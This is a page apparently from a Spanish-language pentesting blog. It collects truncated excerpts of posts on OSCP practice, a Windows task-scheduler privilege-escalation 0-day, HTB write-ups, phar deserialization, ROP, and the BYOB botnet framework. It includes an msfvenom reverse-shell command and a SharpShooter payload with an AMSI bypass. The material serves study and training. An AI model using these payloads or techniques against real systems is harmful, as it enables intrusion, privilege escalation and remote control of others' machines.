Examen de prueba para estudiantes del OSCP

Una de las certificaciones más valoradas en la actualidad por un pentester es el OSCP (Offensive Security Certified Professional), principalmente porque es eminentemente práctica y requiere mucho tiempo de labs (PWK y otros) para enfrentarte a un duro examen final en el que el alumno tendrá que abordar 5 máquinas en un plazo de tan sólo 24 horas...


Lo único seguro durante ese día (a parte de la tensión y los nervios) es que sólo se podrá usar Metasploit en una de esas máquinas y que una de las vulnerabilidades a explotar, sí o sí, será una BoF sencillo. A partir de ahí todo es ansiedad y dudas para el estudiante que se enfrenta por primera vez a la prueba que va a medir sus conocimientos adquiridos normalmente durante bastante tiempo.

Precisamente para los estudiantes que se vayan a estrenar en el examen del OSCP y quieran realizar una prueba antes, Nate Curry ha empaquetado cinco máquinas (cinco VMs) para simular lo que sería el examen real. Evidentemente estas máquinas no son de Offensive Security y podrás encontrar sus writeups en Internet, pero la gracia consiste en hacerlas en un plazo de 24 horas para ir midiéndose y preparándose para el día D.

Una vez terminado el tiempo de vuestra prueba ficticia, tenéis en el fichero Box_Names.txt en base64 los nombres reales de las máquinas. Con ellas podrás ver los writeups que hay en Internet para comprobar si hay otros vectores de ataque que te perdiste y revisar las cosas que no pudiste comprometer, todo con el objetivo de reforzar lo necesario y organizarse mejor en el examen.

Instrucciones

- Programa una hora concreta para cuando quieras que comience el período de 24 horas
- Sigue las pautas del examen del OSCP sobre el uso de Metasploit y otras reglas que encontrarás en el examen real para replicar mejor las condiciones reales
- Las máquinas tienen puntos asociados a cada una en una escala del 1-10. La puntuación para aprobar será 7 de 10 puntos
- NO NECESITARÁS METASPLOIT EN ESTE EXÁMEN PRÁCTICO
- Resiste la tentación de ver como se levantan las VM ya que algunas máquinas de Vulnhub revelan su nombre durante las secuencia de arranque, así como también en las pantallas de inicio de sesión.
- No leas el archivo "Box_Names.txt" hasta que estés listo para leer los comentarios de cada máquina
-Es muy fácil hacer trampas en este examen práctico, pero haz tu mejor esfuerzo para no darte pistas por tu propio bien

Descarga el siguiente archivo zip con el examen (actualizado a 3 de agosto de 2018):

https://drive.google.com/open?id=1p0U9yYSObcJty5REN88EQzPeDOFauIn0

Fuente: https://h4cklife.org/2018/05/22/a-pre-exam-for-future-oscp-students/

Publican un 0-day que permite escalar privilegios en Windows debido a un bug en el programador de tareas (ALPC)

Hace un par de días @SandboxEscaper liberó en Twitter una vulnerabilidad de día 0 muy a tener en cuenta para escalar privilegios en Windows, junto con una PoC del exploit que funciona perfectamente en un Windows 10 de 64 bits con los últimos parches....

El servicio del programador de tareas tiene un endpoint ALPC (Advanced Local Procedure Call) que admite el método "SchRpcSetSecurity".

El prototipo se ve así:
    long _SchRpcSetSecurity(
        [in][string] wchar_t* arg_1, //nombre de la tarea
        [in][string] wchar_t* arg_2, //string del descriptor de seguridad
        [in]long arg_3);

Las tareas añadidas mediante el programador crean la carpeta/archivo correspondiente en c:\windows\system32\tasks. Esta función parece estar diseñada para escribir la DACL de las tareas ubicadas ahí y lo hace impersonalizándose. Sin embargo, por alguna razón, también comprueba si existe un archivo .job en c:\windows\tasks e intenta establecer la DACL, pero esta vez sin impersonación. Con cualquier usuario, incluso un usuario que pertenece al grupo de invitados, se pueden crear archivos en esta carpeta, simplemente podemos crear un hardlink a otro archivo (todo lo que necesitamos es acceso de lectura). Debido al enlace podemos permitir que el programador de tareas escriba una DACL arbitraria (ver el segundo parámetro de SchRpcSetSecurity) en un archivo de nuestra elección.

Por lo tanto, podemos aprovechar cualquier archivo al que tengamos acceso de lectura como usuario y que tenga permiso de escritura de DACL para SYSTEM, para sobrescribirlo y tomar control total de la máquina.

Explotación

El problema principal es que en una instalación por defecto, muchos archivos críticos solo pueden ser modificados por un instalador confiable (ni siquiera por system).

Mediante el siguiente script en PowerShell se pueden enumerar archivos sobre los que puede tomar el control. Simplemente ejecuta ./enumerate.ps1> output.txt
$aapsid = 'NT AUTHORITY\SYSTEM'

ForEach($file in (Get-ChildItem -recurse -Path 'C:\windows')) {
 
   $acl = Get-Acl -path $file.PSPath
   ForEach($ace in $acl.Access) {
      If(($ace.FileSystemRights -eq
           [Security.AccessControl.FileSystemRights]::FullControl) -and 
            $ace.IdentityReference.Value -in $aapsid) {
               Write-Output $file.PSPath
              
      }
        
   }
   
   }

Hay muchos posibles objetivos (además, se puede tomar el control de cosas en archivos del programa, y ​​si el objetivo lo comparten los administradores u otros usuarios, es posible que terminen ejecutando programas que puedes sobrescribir).

[HTB write-up] Celestial


00 - recon

[*] - nmap

Nmap solo muestra el puerto 3000. Con un servidor Node.js a la escucha.


[*] – burp suite
 
Si llamamos con un GET y con la cookie que nos da el server tenemos un mensaje un tanto loco:


2+2 es 22 si.. si lo tomas como un char. Veamos que tiene esa cookie que viene codificada en base64. Darse cuenta también que burp nos está dando el ‘=’ como ‘%3D’ (al final).

Trasteando con Sharpshooter, archivos iqy y compiladores de C#

Trasteando estos últimos días con la información que nos va compartiendo el compi @Superfume, me dio por probar diferentes herramientas y técnicas y mezclar sus resultados.
En el post explicaré cómo utilizar Sharpshooter con la nueva flag para bypassear amsi, cómo hacer uso del ejecutable Microsoft.Workflow.Compiler.exe para compilar y ejecutar código C# y cómo utilizar los archivos .iqy de Excel para ejecutar código remoto. Por último, una mezcla de las técnicas anteriormente descritas.

PARTE 1: SHARPSHOOTER
SharpShooter tiene bastantes flags y formas de crear payloads, lo que mejor me ha funcionado a mi estos días ha sido lo siguiente:

python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile reversa -smuggle --template mcafee --amsi amsienable

Con este comando crearemos dos ficheros:
  • Foo.hta
  • Foo.html
Destacar que en la flag --rawscfile incluiremos nuestra reversa en formato raw:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=15900 EnableStageEncoding=True PrependMigrate=True -f raw > reversa


Deserialización de phar, nueva técnica de explotación en PHP

La semana pasada Sam Thomas de Secarma presentó en la BlackHat USA una nueva técnica de deserialización en PHP sin usar la función unserialize(), que permite a un atacante usar las vulnerabilidades relacionadas con archivos para conseguir ejecución remota de código.

Archivos Phar

La mayoría de las operaciones con archivos en PHP permiten utilizar varios wrappers como si fuera una URL, como data://, zlib:// o php:// cuando se accede a una ruta de archivo. Algunos de estos wrappers se utilizan a menudo para explotar vulnerabilidades RFI donde un atacante puede controlar la ruta completa del archivo para la inclusión. Por ejemplo, los wrappers se usan para obtener el código fuente que de otro modo se ejecutaría, o para inyectar código PHP propio para su ejecución:
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');

Pero hasta ahora, nadie prestó atención al wrapper phar://. Lo interesante de los archivos Phar (Archivo PHP) es que contienen metadatos en formato serializado. Vamos a crear un archivo Phar y agregar un objeto con algunos datos como metadatos:
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

Nuestro archivo recién creado test.phar tiene el siguiente contenido:


Como podéis ver nuestro objeto se almacenó como una cadena serializada.

Inyección de objetos PHP

Evidentemente si ahora se realiza una operación en nuestro archivo Phar a través del wrapper phar://, sus metadatos serializados se deserializarán (parece un trabalenguas).

Esto significa que nuestro objeto inyectado en los metadatos se cargará en el scope de la aplicación. Si esta aplicación tiene una clase llamada AnyClass y tiene el método mágico __destruct () o __wakeup () definido, entonces esos métodos se invocarán automáticament, es decir, podemos activar cualquier método destructor o de activación en la base del código. O peor aún, si estos métodos operan con nuestros datos inyectados, esto puede conducir a más vulnerabilidades.
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');

Explotación

Básicamente un atacante debe ser capaz de elaborar y poner un archivo Phar en el servidor web objetivo (con metadatos serializados maliciosos) y luego que sea llamado.

Por ej., Sam Thomas encontró algunos trucos sobre cómo introducir un archivo Phar en un archivo JPG falso, por lo que una característica común de carga de imágenes ya es suficiente. Cualquier otra operación de archivo que haga referencia a nuestro phar también nos valdría.

Podéis pensar que ésto no parece tan crítico porque si un atacante puede controlar la ruta completa del archivo en operaciones tales como "include(), fopen(), file_get_contents(), file() etc., ya presenta una vulnerabilidad crítica en sí misma. Pero la entrada del usuario utilizada en estas funciones generalmente se valida.

Sin embargo, la deserialización se desencadena para el contenedor phar:// en cualquier operación de archivo. Por lo tanto, otras operaciones de archivos, como file_exists() que simplemente verifica la existencia de un archivo, hasta ahora se consideraban menos sensibles a estos problemas de seguridad y están menos protegidas.

Más info y casos de estudio en la presentación oficial:

https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf

Fuente: https://blog.ripstech.com/2018/new-php-exploitation-technique/

Crypton: una recopilación para aprender cripto(grafía) defensiva/ofensiva

Ampliamos nuestro material de estudio para estas vacaciones con una fantástica recopilación de explicaciones e implementaciones de todos los ataques existentes en varios sistemas de cifrado, firma digital y algoritmos de hashing junto con ejemplos de retos de CTFs. Esta joya, que te hará ser una auténtica máquina en la categoría "crypto", la tenemos en un repositorio de Github gracias a Ashutosh Ahelleya aka s0rc3r3r de @teambi0s que ha nombrado su proyecto como Crypton.

En definitiva podemos decir que Crypton es una auténtica biblioteca para aprender y practicar criptografía defensiva y ofensiva, estructurada de la siguiente manera:



1. Block Ciphers

S.No. Topic Explanation Impl./Exploit Challenge#
1 Block Cipher Basics- working of block ciphers, padding etc.
[link]


2 Modes of Encryption- different modes of operation on block ciphers: ECB, CBC, CTR
[link]


3 Block Size Detection- detect blocksize of a block cipher encrypting data on a remote service
[link]


4 Mode Detection- detect type of mode of encryption: independent or dependent encryption of blocks
[link]


5 ECB Byte at a Time- byte at a time decryption of a secret string running on a remote service encrypting input+secret in ECB mode
[link]

[link]
6 CBC IV Detection- detect the value of Initialisation Vector on a remote service that is encrypting our input using a block cipher in CBC mode
[link]
[link]

7 CBC Bit Flipping Attack- exploiting cookie generation mechanism to login as admin when cookie is generated using a block cipher in CBC mode
[link]

[link]
8 CBC Byte at a Time- byte at a time decryption of a secret string running on a remote service encrypting input+secret in ECB mode
[link]
[link]

9 CBC Padding Oracle Attack- decryption of data encrypted by a vulnerable service providing encryption/decryption
[link]

[link]
10 CTR Bit Flipping- exploiting cookie generation mechanism to login as admin when cookie is generated using a block cipher in CBC mode
[link]

[link]

microctfs: pequeños retos en contenedores docker para practicar

¿Estas de vacaciones y/o tienes tiempo libre y quieres practicar tu pericia con pequeños CTFs? El americano Gabe Marshall tiene un repo en Github con una serie de interesantes microretos en forma de contenedores Docker que pueden levantarse de inmediato para empezar a jugar. Te animo a probarlos y a compartir tu feedback e incluso writeups con nosotros:

MicroCTFs:

- geddy
- jenkins    
- logviewer    
- printf    
- sqli    
- tcmanager    
- xxe    

Instrucciones de uso

Clonar el repositorio:

$ git clone https://github.com/gabemarshall/microctfs.git

Levantar el microreto deseado:

$ cd <microctf>
$ docker build -t <microctf> .
$ docker run -d -p <puerto_host>:<puerto_contenedor> --name <nombre_reto> <microctf>

Ejemplo:

$ cd sqli
$ docker build -t sqli .
$ docker run -d -p 8883:80 --name sqli_chal sqli

http://localhost:8883


Forwards <puerto_host>:<puerto_contenedor>:

- geddy: 40000:4000
- jenkins    
- logviewer: 8000:80    
- printf: 1337:1337    
- sqli: 8883:80
- tcmanager: 8080:8080    
- xxe: 8080:8080    

Reiniciar el CTF:

$ docker rm -f <nombre_reto> && docker run -d -p <puerto_host>:<puerto_contenedorf> --name <nombre_reto> <microctf>

Ejemplo:

$ docker rm -f sqli_chal && docker run -d -p 8883:80 --name sqli_chal sqli

Parar el micro reto:

$ docker rm -f <nombre_reto>

Ejemplo:

$ docker rm -f sqli_chal

Repo: https://github.com/gabemarshall/microctfs

Publican el código fuente reverseado de Diablo (Devilution)

Un programador con el nick GalaxyHaxz ha subido una versión reverseada del código fuente de Diablo. La ingeniería inversa le llevó más de 1.200 horas durante 6-12 meses en un intento por garantizar "que todo se conserve". El proyecto lo ha bautizado como Devilution.


"Durante años, los creadores de mods tuvieron que depender de la tediosa edición de código y la inyección en memoria. Algunos incluso fueron más allá y reversearon una buena parte del juego (como Belzebub/The Hell)", explica GalaxyHaxz. "El problema es que nunca publicaron su código fuente. Por lo general, siendo un trabajo de una sola persona, siguen adelante con sus vidas inevitablemente debido a la cantidad de tiempo/trabajo requerido o falta de interés".
"Esto deja a la gente con un mod a medio terminar, uno que tuvo innumerables horas puestas en él, pero que quedó lleno de errores y sin acabar. Así que volvemos al punto de partida. Devilution tiene como objetivo solucionar esto, al hacer que el código fuente de Diablo quede disponible gratuitamente para todos".


GalaxyHaxz explica que el objetivo de Devilution es reproducir el código fuente del juego original del 96 con la mayor precisión posible. Pero, "como objetivo secundario, Devilution ayuda a documentar el contenido no utilizado y cortado del juego final. El desarrollo de Diablo se apresuró al final: muchas ideas se eliminaron y el multijugador se pirateó rápidamente. Al examinar la fuente, podemos ver varias peculiaridades del desarrollo planificado".

Con una nueva versión del Diablo 3 original, una comunidad de modding activa y un nuevo juego en desarrollo, Diablo sigue estando bien servido. Pero nunca me dejará asombrar por el cuidado y el esfuerzo que se dedica a proyectos de aficionados como Devilution. No os lo perdáis:

Proyecto: https://github.com/diasurgical/devilution

Aron: un sencillo script en GO para encontrar parámetros GET y POST mediante fuerza bruta

Lurkeando Internet encontré Aron, un pequeño pero útil script escrito en Go que nos ayudará a encontrar parámetros POST y GET ocultos mediante ataques de diccionario/fuerza bruta. Bastante útil para auditorías web...


Instalación
$ git clone https://github.com/m4ll0k/Aron.git aron
$ cd aron 
$ go get github.com/m4ll0k/printer
# now check if $GOPATH is set
$ go env | grep -i gopath
# if $GOPATH not set, try with:
$ export GOPATH=$HOME/go
$ go run aron.go
# OR 
$ go build aron.go
$ cp aron /usr/bin/
$ aron

Uso
   ___                         
   /   |  _________  ___       
  / /| | / ___/ __ \/ __\   
 / ___ |/ /  / /_/ / / / /   
/_/  |_/_/   \____/_/ /_/ (v0.1.0 beta)
----------------------------
  Momo (M4ll0k) Outaadi 

Usage of aron:
  -data="":             Set post data
  -get=false:           Set get method
  -post=false:          Set post method
  -url="":              Set target URL
  -wordlist="dict.txt": Set your wordlist

FUERZA BRUTA EN GET
$ go run aron.go -url http://www.test.com/index.php -get 
$ go run aron.go -url http://www.test.com/index.php<[?|id=1|id=1&]> -get
$ go run aron.go -url http://www.test.com/index.php<[?|id=1|id=1&]> -get -wordlist my_wordlist.txt

<[?|id=1|id=1&]> => posible final de URL

 OR Note: en este caso aron necesita el wordlist path

$ aron -url http://www.test.com/index.php -get -wordlist path/wordlist.txt
$ aron -url http://www.test.com/index.php<[?|id=1|id=1&]> -get -wordlist path/wordlist.txt

FUERZA BRUTA EN POST
$ go run aron.go -url http://www.test.com/index.php -post 
$ go run aron.go -url http://www.test.com/index.php<[?id=1]> -post
$ go run aron.go -url http://www.test.com/index.php<[?id=1]> -post -data "user=1"
$ go run aron.go -url http://www.test.com/index.php<[?id=1]> -post -data "user=1" -wordlist my_wordlist

 OR Note: en este caso aron necesita el wordlist path

$ aron -url http://www.test.com/index.php -post -wordlist path/wordlist.txt
$ aron -url http://www.test.com/index.php<[?id=1]> -post -data "user=1" -wordlist path/wordlist.txt

Repositorio: https://github.com/m4ll0k/Aron

[HTB write-up] Valentine

El siguiente writeup muestra el proceso que utilicé para capturar las flags de usuario y de root en la máquina Valentine en @10.10.10.79.
Este documento contiene mis notas que tomé cuando estaba trabajando en la misma.

Mi forma de pensar

El primer paso consiste en la fase de reconocimiento como escaneo de puertos, banner grabbing, configuraciones erróneas, etc. El segundo en encontrar las vulnerabilidades, es decir, el ataque en sí mismo, y finalmente la escalada de privilegios llamada "fase de post-explotación".


Aviso personal: la post-explotación fue bastante compleja, haré todo lo posible para explicar cómo rooteé la máquina de Valentine.

Subíndice: Algo estaba oculto en la imagen de bienvenida y ayuda mucho ...


Escaneo de puertos

Durante este paso vamos a identificar el objetivo para ver que hay detrás de la dirección IP. Estos son los resultados:


El sistema remoto es Linux. Tenemos abierto un servidor web y un acceso remoto mediante ssh.

Con ésto, vamos a chequear ambos servicios. Para hacer esto, primero lo veremos en el navegador y, segundo, abriremos un terminal con las credenciales básicas.

Top 10 de herramientas free para threat hunting

La búsqueda de amenazas o threat hunting es un enfoque alternativo a los sistemas de seguridad tradicionales como firewalls o NIDS que monitorizan el tráfico de red. Si bien estos últimos investigan las amenazas después de que ocurrieron, la estrategia de threat hunting implica buscar a través de redes, detectar y aislar amenazas, y erradicarlas incluso antes de que los sistemas de alerta tradicionales hayan generado una alerta.

Esto se puede lograr manualmente por un analista que intenta identificar fallos potenciales en la red y crear escenarios de "qué pasaría si" que se utilizan para contrarrestar esas debilidades de forma proactiva. Hoy, sin embargo, la caza de amenazas se está volviendo más automatizada, y el proceso aprovecha el análisis del comportamiento de las entidades y los usuarios para informar al analista de seguridad de cualquier riesgo potencial.

Hoy en día podemos decir que hay tres tipos de hipótesis que los analistas usan mientras buscan amenazas:

- Basada en análisis: Considera el análisis de comportamiento de las entidades y los usuarios (UEBA) y el aprendizaje automático para desarrollar puntuaciones de riesgo acumuladas y otras hipótesis
- Basada en inteligencia: Impulsado por informes de amenazas de inteligencia, feeds, análisis de malware y escaneos de vulnerabilidades
- Conciencia Situacional: Usa evaluaciones de riesgo de la empresa o análisis Crown Jewel, evaluando las tendencias de una empresa o individuo

En base a estas hipótesis podemos clasificar una serie de herramientas gratuitas que los analistas o en general aquellos que buscan amenazas pueden usar para mantenerse protegidos.

Basadas en análisis

Maltego CE

Esta es una herramienta de minería de datos que genera gráficos interactivos para el análisis las relaciones entre datos de varias fuentes de Internet. Maltego CE automatiza los procesos de diferentes recursos de consulta y muestra gráficos comprensibles. La personalización de esta aplicación es sencilla y puede adaptarse a requisitos específicos.

ROPeando para bypassear NX y ASLR con libc

Después de un tiempo desconectado del mundo de los posts, tiempo en el que me he dedicado a investigar y a aprender cosillas bastante interesantes prioritariamente del mundo del exploiting, hoy vengo a hablar sobre una técnica fundamental para el desarrollo de exploits, la técnica se hace llamar "Return Oriented Programming", abreviando, ROP.

La técnica ROP se basa en el control del flujo del programa ejecutando fragmentos de código que encontramos en memoria, estos fragmentos de código se llaman "gadgets", los gadgets tienen la peculiaridad de acabar habitualmente en la instrucción RET, aunque en algunas situaciones también serán de utilidad los gadgets que acabes en un JMP o un CALL. Resumiendo, el ROP es una técnica en la cual se reutiliza código ensamblador del propio programa para poder controlar al gusto de la persona el flujo del programa.

Esta técnica es bastante importante porque dichos gadgets son "inmunes" a la aleatoriedad del ASLR, la protección Address Space Layout Randomization fue implementada para evitar (o dificultar) la explotación del software, resumiendo, esta protección se encarga de aleatorizar las direcciones de varias secciones y librerías compartidas de los programas en ejecución, en este caso, la sección .text, que es donde se encuentran dichos gadgets junto al resto de código ensamblador del programa no se aleatoriza, por ello está técnica es utilizada continuamente en los exploits de hoy en día.

A día de hoy, por defecto desde hace tiempo la protección ASLR está activada en todos los sistemas GNU/Linux, por ello, en un caso real siempre deberemos lidiar con ello. También debo hablar de otra protección que podremos combatir con el ROP, la protección NX, es una protección que viene también implementada por defecto, en este caso en los compiladores, para impedir la ejecución de código en la pila, imposibilitando el uso de la técnica ret2ESP que se basaba en la ejecución del shellcode en el propio stack.

ASLR activado
NX activado
Stack no ejecutable
No hay nada mejor para aprender este tipo de técnicas que practicando, para ello realizaré un reto que se usó en el CTF clasificatorio de la DEFCON 2015, el reto se llama r0pbaby y lo podréis descargar en este LINK. Para replicar este reto ejecutaré dicho programa en otra máquina virtual con un Ubuntu que contendrá la flag, por lo tanto primero deberé explotarlo localmente en mi máquina y luego explotarlo remotamente en la máquina Ubuntu.

Una vez descargado podemos ver ante qué clase de archivo estamos con el comando file:


Podemos observar que estamos ante un ELF de 64 bits dynamically linked, vamos a ver como funciona el programa en ejecución.

Construye tu propia botnet con BYOB

BYOB (Build Your Own Botnet) es un proyecto de código abierto que proporciona un framework para que los investigadores y profesionales de seguridad construyan y operen una botnet básica. Gracias a ésta herramienta se podrá:
- profundizar en la comprensión del malware cada vez más sofisticado que infecta millones de dispositivos cada año
- generar botnets modernas con el fin de mejorar su capacidad para desarrollar contramedidas contra este tipo de amenazas

La herramienta contiene 4 partes principales:

Servidor

uso: server.py [-h] [-v] [--host HOST] [--port PORT] [--database DATABASE]

Servidor de comando y control con base de datos persistente y consola

- Interfaz de usuario basado en consola: interfaz por consola para controlar las máquinas clientes de forma remota a través de shells reversas
- Base de datos persistente de SQLite: base de datos liviana que almacena información de identificación de las máquinas clientes, lo que permite que las sesiones de reversas persistan
- Arquitectura Cliente-Servidor: todos los paquetes/módulos python instalados localmente están disponibles automáticamente para que los clientes los importen de forma remota sin tocar el disco, permitiendo a los clientes utilizar módulos que requieren paquetes no instalados en las máquinas de destino

Cliente

uso: client.py [-h] [-v] [--name NAME] [--icon ICON] [--pastebin API] [--encrypt] [--obfuscate] [--compress] [--compile] host port [module [module ...]]

Genera clientes completamente indetectables con payloads staged, imports remotos y módulos ilimitados


- Imports remotos: importa remotamente paquetes de terceros desde el servidor sin escribirlos en el disco o descargarlos/instalarlos
- No escribe nada en el disco: los clientes nunca escriben nada en el disco, ni siquiera archivos temporales (se realizan llamadas al sistema IO zero) porque las importaciones remotas permiten que el código arbitrario se cargue dinámicamente en la memoria y se importe directamente en el proceso en ejecución
- Cero dependencias (ni siquiera el propio Python): el cliente ejecuta solo la biblioteca estándar de Python, importa de forma remota cualquier paquete/módulo no estándar del servidor y puede compilarse con un intérprete de Python independiente en un ejecutable binario portátil formateado para cualquier plataforma/arquitectura, lo que le permite ejecutarse en cualquier cosa, incluso cuando Python mismo falta en el host de destino